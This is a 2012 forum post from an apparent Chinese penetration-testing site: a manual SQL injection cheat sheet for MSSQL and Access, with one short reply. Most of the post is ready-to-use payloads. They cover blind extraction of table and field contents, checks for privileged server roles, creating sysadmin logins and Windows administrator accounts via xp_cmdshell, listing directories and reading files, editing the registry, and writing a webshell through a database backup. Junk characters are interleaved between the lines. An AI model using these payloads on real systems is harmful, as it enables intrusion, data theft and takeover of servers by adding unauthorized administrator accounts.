中国网络渗透测试联盟
标题:
手工脚本注入
[打印本页]
作者:
admin
时间:
2012-9-15 14:48
标题:
手工脚本注入
手工脚本注入
* V; q2 U7 G7 \/ R2 v9 e
1.判断是否有注入;and 1=1 ;and 1=2
, h: ^$ @$ m4 ?! c+ Q4 S2 \( q
0 J5 Z6 i& I5 n ?- D
2.初步判断是否是mssql ;and user>0
+ W2 H. m4 ^" C7 { @; n9 q7 B0 s
6 z$ D# H7 N+ C. f0 C( D, h
3.注入参数是字符'and [查询条件] and ''='
$ U- w; V" s* j% Y6 u1 w; b
. s4 Q, r0 N- a! K: V+ Z
4.搜索时没过滤参数的'and [查询条件] and '%25'='
, z2 g% y- o& A. o
7 O( [/ C7 I& t% O, O
5.判断数据库系统
* @8 A( I( D7 k# z) n0 J; H
;and (select count(*) from sysobjects)>0 mssql
$ V+ Q2 p6 N/ C+ i/ ]( ^+ f4 `
;and (select count(*) from msysobjects)>0 access
) N9 B- L9 ^; }* P& \/ T+ x
) @5 D; o6 f8 `: f; ~) j
6.猜数据库 ;and (select Count(*) from [数据库名])>0
2 p; S% j5 K4 b
& W& k8 I( w4 }3 G
7.猜字段 ;and (select Count(字段名) from 数据库名)>0
a Q* u& [1 Y h. [$ s
' X; E6 B( I2 q8 ^5 {
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
; h! x& H: x3 \0 B8 O1 p
( D f& |7 K. ?7 W
9.(1)猜字段的ascii值(access)
+ [0 d6 S# h3 d% r- y8 H z
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
: R; O, o2 A) k
$ f( L0 |5 A8 v8 l& H, F
(2)猜字段的ascii值(mssql)
8 L2 j5 v/ c* t8 |
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
+ y4 j8 s# z; h: F( M4 L( D
/ p1 O" b3 V* s% j* d
10.测试权限结构(mssql)
v% p: q1 m( Y% P( G9 k: I
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
6 E/ N6 K' z7 ]/ t' B0 O
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
6 v' b+ f' f- L( v: W' S
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
" t- a7 ?. e' R- J
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
4 K) I3 W M3 s$ \+ P& K/ G1 g
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
4 U) p1 o; K: ]6 h; |4 O1 k( ~) z0 V
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
& {9 y/ d8 U- f% N0 l
;and 1=(select IS_MEMBER('db_owner'));--
3 f, e$ D# ~" ?; O N
) Y' G4 g; W7 `* F z( b
11.添加mssql和系统的帐户
5 r3 Q0 {+ N& f
;exec master.dbo.sp_addlogin username;--
8 v( _: o8 w3 v4 E
0 e/ ]: l: p) @2 E+ M( @
;exec master.dbo.sp_password null,username,password;--
. P, P; w2 j6 }, j* o3 G
" E" m8 ~# Q% b5 i
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
# t. D( A! {" ^/ [
% I% E+ k9 P' i' m( u3 H1 v
;exec master.dbo.xp_cmdshell 'net user username password
+ ~! A' @8 o8 ^3 K/ |7 O
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
3 V& A$ {1 X$ R8 [
( [# R7 r v# O3 K) U1 V8 W" l8 m0 u
;exec master.dbo.xp_cmdshell 'net user username password /add';--
1 t; I' N4 Y0 a7 L! i& k
, Y7 Z7 |9 Z, s: y3 e! m9 A( U( a
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
$ j' p5 L) A; S: i7 n
2 H; P i* c! _8 I9 \3 Q
12.(1)遍历目录
# T3 N8 z: x+ Q9 f# ^% W
( {, y+ P- g4 C& Z( g! o2 l
;create table dirs(paths varchar(100), id int)
% o) S' B1 c7 U% e e- C( m+ ?: G
;insert dirs exec master.dbo.xp_dirtree 'c:\'
& w m" ?6 e3 l! o, R, p
;and (select top 1 paths from dirs)>0
; w5 M1 U) m9 j4 C' h& Q, q
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
) r6 Y z4 B9 L m5 z1 w
; ^, H% B4 j& c4 u( u+ d6 B/ m2 m
(2)遍历目录
# j0 ]3 ~; Y1 R$ r' X2 s
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
; a. D1 C. P, w( T; R
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
, j/ k! |$ n) J
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
- ^# y* x# {+ w2 n
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
9 u% i3 u1 u4 {5 w( L
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
: {' q+ g E/ `6 S
8 e a* T+ U. T5 D
13.mssql中的存储过程
5 m8 Z; j4 `" B: L* Z0 X; Y
5 m" e5 Q" u: i0 c, ]" u! ~
xp_regenumvalues 注册表根键, 子键
$ _8 E5 r- U0 Y5 n& ~6 Y3 j
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
7 C0 h( M/ ^* X7 \3 T
# R' f3 w5 L$ A' ?3 m" M0 F2 ]
xp_regread 根键,子键,键值名
" E/ [+ c: d/ m
;exec xp_regread
. J/ C, q3 h7 ~9 h" H
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
0 k5 B( `# U# F$ q& ?
; Z' s2 o2 @# o) E
xp_regwrite 根键,子键, 值名, 值类型, 值
9 C" k. I6 O: s( y8 v- V8 ~% @
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
& W: F x( p1 l; N* u
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
, S- v- D. b* _
. C: X: V, Z2 S
xp_regdeletevalue 根键,子键,值名
# {( d8 B4 L2 i7 @, I3 w5 ^5 G
( a% x) Q2 o4 W( m' G
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
/ B4 L7 @! Y* I, B. _
7 M3 k4 }8 y1 v3 m- q
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
2 c, V6 b2 E6 e# d& ~
3 O+ ]: @% n! V. D8 I( C3 W
14.mssql的backup创建webshell
/ x0 p& }# {" W9 ^1 K
use model
! D: ^( q- m6 n/ I
create table cmd(str image);
$ k1 q! x0 a! e: k3 _% l
insert into cmd(str) values ('');
: n5 R% q, t/ g& r+ `( I
backup database model to disk='c:\l.asp';
9 x/ j: h* ?: ~) y" G9 h
- l8 F; v; `" ^1 W/ J# Z6 M; g( X
15.mssql内置函数
) n; O) Y( i$ D! _: k% ]( Y3 b9 i
;and (select @@version)>0 获得Windows的版本号
; F; y/ _' \6 R/ `; W+ O, h
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
' D, Z% j3 q; b u0 H4 ^+ {
;and (select user_name())>0 爆当前系统的连接用户
) b5 X& w5 K* a; o$ n5 q
;and (select db_name())>0 得到当前连接的数据库
6 h5 j" c% u; C" P4 g
8 N2 ?2 w5 q3 w+ }( f
16.简洁的webshell
, ~2 V# J }- j3 w1 I
4 r2 [* S2 L9 B7 [ I. Q# C! f
use model
$ L" a- ^1 w& M9 }
8 i, o: e/ g/ o$ C. x& s k/ n* B4 E
create table cmd(str image);
# n9 i( q( H7 i V9 `) W7 }
* `) N* J5 _$ w4 Q
insert into cmd(str) values ('');
; [" Z5 V0 f3 c
5 P1 b. h) N9 ~ z- ^
backup database model to disk='g:\wwwtest\l.asp';
+ m/ J7 t, e3 O0 K) x7 E+ N7 _4 s
' s: I; `2 A( M5 ^' T
作者:
老男孩
时间:
2012-9-15 16:34
现在很多防注入啊,有其他注入字符码
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2